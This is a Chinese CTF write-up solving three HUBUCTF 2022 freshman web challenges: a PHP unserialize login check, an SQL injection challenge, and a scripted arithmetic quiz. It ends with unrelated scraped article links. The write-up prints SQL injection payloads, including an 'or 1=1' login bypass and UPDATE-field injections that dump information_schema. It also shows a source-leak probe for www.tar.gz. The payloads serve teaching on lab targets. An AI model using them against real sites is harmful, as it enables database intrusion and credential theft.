HUBUCTF 2022新生赛Writeup
既然是母校,那一定要好好对待~ 2024-01-13 22:42:34
WEB [HUBUCTF 2022 新生赛]checkin
题目链接:checkin
原题
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
?>
username or password error!
一道字符串反序列化的题,相关构造就可以。
$info=['username'=>"this_is_secret",'password'=>"this_is_not_known_to_you"];
echo urlencode(serialize($info));
?>
NSSCTF{df0b1d5c-d3e8-426d-887a-3eabe68f61bb}web [HUBUCTF 2022 新生赛]ezsql
原题链接:easysql


经过测试admin" or 1=1--+注册后,可以直接进去,但是翻遍了没有一点信息,应该是覆盖了原来的信息,目录遍历一下吧。

看到了www.tar.gz,源码泄露

好多源码,代码审计!
查看update.php,
$query=$mysqli->query("update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");
我们只要在中间加上password=***,token置空,就能更改password了。

改完还是不行,估计密码不是明文存储。这个输入点还可以直接使用sql语句,注意我的问题,这么写肯定是错的。
foreach($_POST as $key=>$value){ $_POST[$key]=addslashes($value);} update.php中也有这句话,它将双引号单引号都过滤了。注入点为什么在age呢,因为age必须是整数,那么他就可能将是双引号去掉了!。


得到数据库名demo2
nickname=(select 1)&age=(select 1),description=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&token=4b29f27a4354d745055045c0c7c97891
得到表名:user.注意每次的sessionid都不一样,不能重放。
nickname=1&age=(select 1),description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)#&token=3e9be9bb4eb8225f70379a9c57cd83b5
之后用表名查列名,但是我不知道表名为什么非要用16进制,就像下面的图一样,总之,最后然后获取密码,重开环境。

[HUBUCTF 2022 新生赛]Calculate

意思很明显,编写脚本。先抓个包,cookie是必须带的


参考https://blog.csdn.net/Jayjay___/article/details/134805314, 个人进行了改进。
# -*- coding:utf-8 -*-
"""
作者:Wang Xinwei
日期:2024年01月18日
"""
import requests
import time
import re
url = 'http://node5.anna.nssctf.cn:28169/'
res = requests.session() #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
for i in range(1, 21):
print(f"正在执行第{i}次------")
math = ""
response = res.get(url) #发get包,获取题目
resTest = response.text #获取返回包的内容
li=re.findall(">([0-9*/+-])<",resTest)
math="".join(li)
print(math)
num = eval(math) #计算数学表达式的值
myData = { #构造的POST数据
'ans': num
}
time.sleep(1) # 睡一秒
response = res.post(url, data=myData) #发post包,提交答案
if "NSSCTF{" in response.text: #如果返回包里面有flag
print("Flaggggggggg: ", response.text)
exit() # 退出当前程序,也可以break
HUBUCTF 2022新生赛Writeup的更多相关文章
- SCNU ACM 2016新生赛初赛 解题报告
新生初赛题目.解题思路.参考代码一览 1001. 无聊的日常 Problem Description 两位小朋友小A和小B无聊时玩了个游戏,在限定时间内说出一排数字,那边说出的数大就赢,你的工作是帮他 ...
- SCNU 2015ACM新生赛决赛【F. Oyk闯机关】解题报告
题目大意:一个$N$$\times$$N$的阵列,每个格子有$X_{ij}$个调和之音,若每次只能选择走右边或下边,从左上角出发走到右下角,问最多能收集到多少个调和之音? ...
- Codeforces 801 A.Vicious Keyboard & Jxnu Group Programming Ladder Tournament 2017江西师大新生赛 L1-2.叶神的字符串
A. Vicious Keyboard time limit per test 2 seconds memory limit per test 256 megabytes input standard ...
- [ACTF2020 新生赛]BackupFile && [ACTF2020 新生赛]Upload &&[GYCTF2020]Blacklist
[ACTF2020 新生赛]BackupFile 尝试找到源代码,加上题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php 访问index.php.bak 下载源代码 ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]Oruga
[ACTF新生赛2020]Oruga 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,检索字符串,根据提示来到关键函数 14行~18行就是让字符串的前5位是 actf{ ,sub_78A( ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]usualCrypt
[ACTF新生赛2020]usualCrypt 附件 步骤: 例行检查,无壳,32位程序 32位ida载入,直接看main函数 逻辑很简单,一开始让我们输入一个字符串,然后该字符串经过sub_4010 ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]rome
[ACTF新生赛2020]rome 附件 步骤 无壳,32位程序 32位ida载入,根据提示字符串"You are correct!",找到关键函数func v15 = 'Q'; ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]easyre
[ACTF新生赛2020]easyre 附件 步骤 查壳,32位程序,upx壳儿 脱完壳儿,扔进ida 分析 一开始给我们定义了一个数组, v4=[42,70,39,34,78,44,34,40,73 ...
- GDOU-CTF-2023新生赛Pwn题解与反思
第一次参加CTF新生赛总结与反思 因为昨天学校那边要进行天梯模拟赛,所以被拉过去了.16点30分结束,就跑回来宿舍开始写.第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上 ...
- SCNU ACM 2016新生赛决赛 解题报告
新生初赛题目.解题思路.参考代码一览 A. 拒绝虐狗 Problem Description CZJ 去排队打饭的时候看到前面有几对情侣秀恩爱,作为单身狗的 CZJ 表示很难受. 现在给出一个字符串代 ...
随机推荐
- Solon Aop 特色开发(3)构建一个Bean的三种方式
Solon,更小.更快.更自由!本系列专门介绍Solon Aop方面的特色: <Solon Aop 特色开发(1)注入或手动获取配置> <Solon Aop 特色开发(2)注入或手动 ...
- Solon 生态插件清单
Solon 是一个微型的Java开发框架.强调,克制 + 简洁 + 开放的原则:力求,更小.更快.更自由的体验.支持:RPC.REST API.MVC.Micro service.WebSocket. ...
- Mac 复制文件名目录路径
Mac快速复制文件路径 在Mac电脑上,我们经常需要复制文件的路径,其实,Mac系统提供了快速复制文件路径的方法.下面我们来详细介绍. 方法一:使用菜单栏 首先,打开Finder,然后选择你要复制路径 ...
- OS | 文件系统总结
文件系统总结 逻辑文件面向用户,学习时应该掌握不同的逻辑文件之间的特点 目录文件时链接逻辑文件和物理文件的桥梁,学习时应该体会到目录文件时如何优化访问时间 物理文件是指文件的数据如何存储在磁盘等存储设 ...
- POJ:Dungeon Master(BFS模板题)
原题链接 思路: 正常的思路,只不过是将二维BFS换成三维的,也算是个模板题吧(PS:DFS超容易超时) #include<iostream> #include<queue> ...
- 全国城市地级市区县sql
全国城市地级市区县sql CREATE TABLE `region` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `title` varchar( ...
- Element-ui 之 form表单套数组、表单数组套数组的校验rules
https://blog.csdn.net/qq_61553794/article/details/135451461
- python 基础 | 实现微秒级计时
搬运一个计时代码: import datetime s = datetime.datetime.now() # 开始 # do something e = datetime.datetime.now( ...
- JMeter接口性能测试使用
下载完JMeter以后,通过JMeter.bat启动JMeter,打开JMeter界面如下所示: 右击"测试计划">添加>Threads(Users)>线程组.J ...
- idea 配置 service 服务,多模块同时启动
转载请注明出处: 1,打开IDEA项目 .idea 下 的workspace.xml 2,查找"RunDashboard" 节点 3,添加如下内容 <option name= ...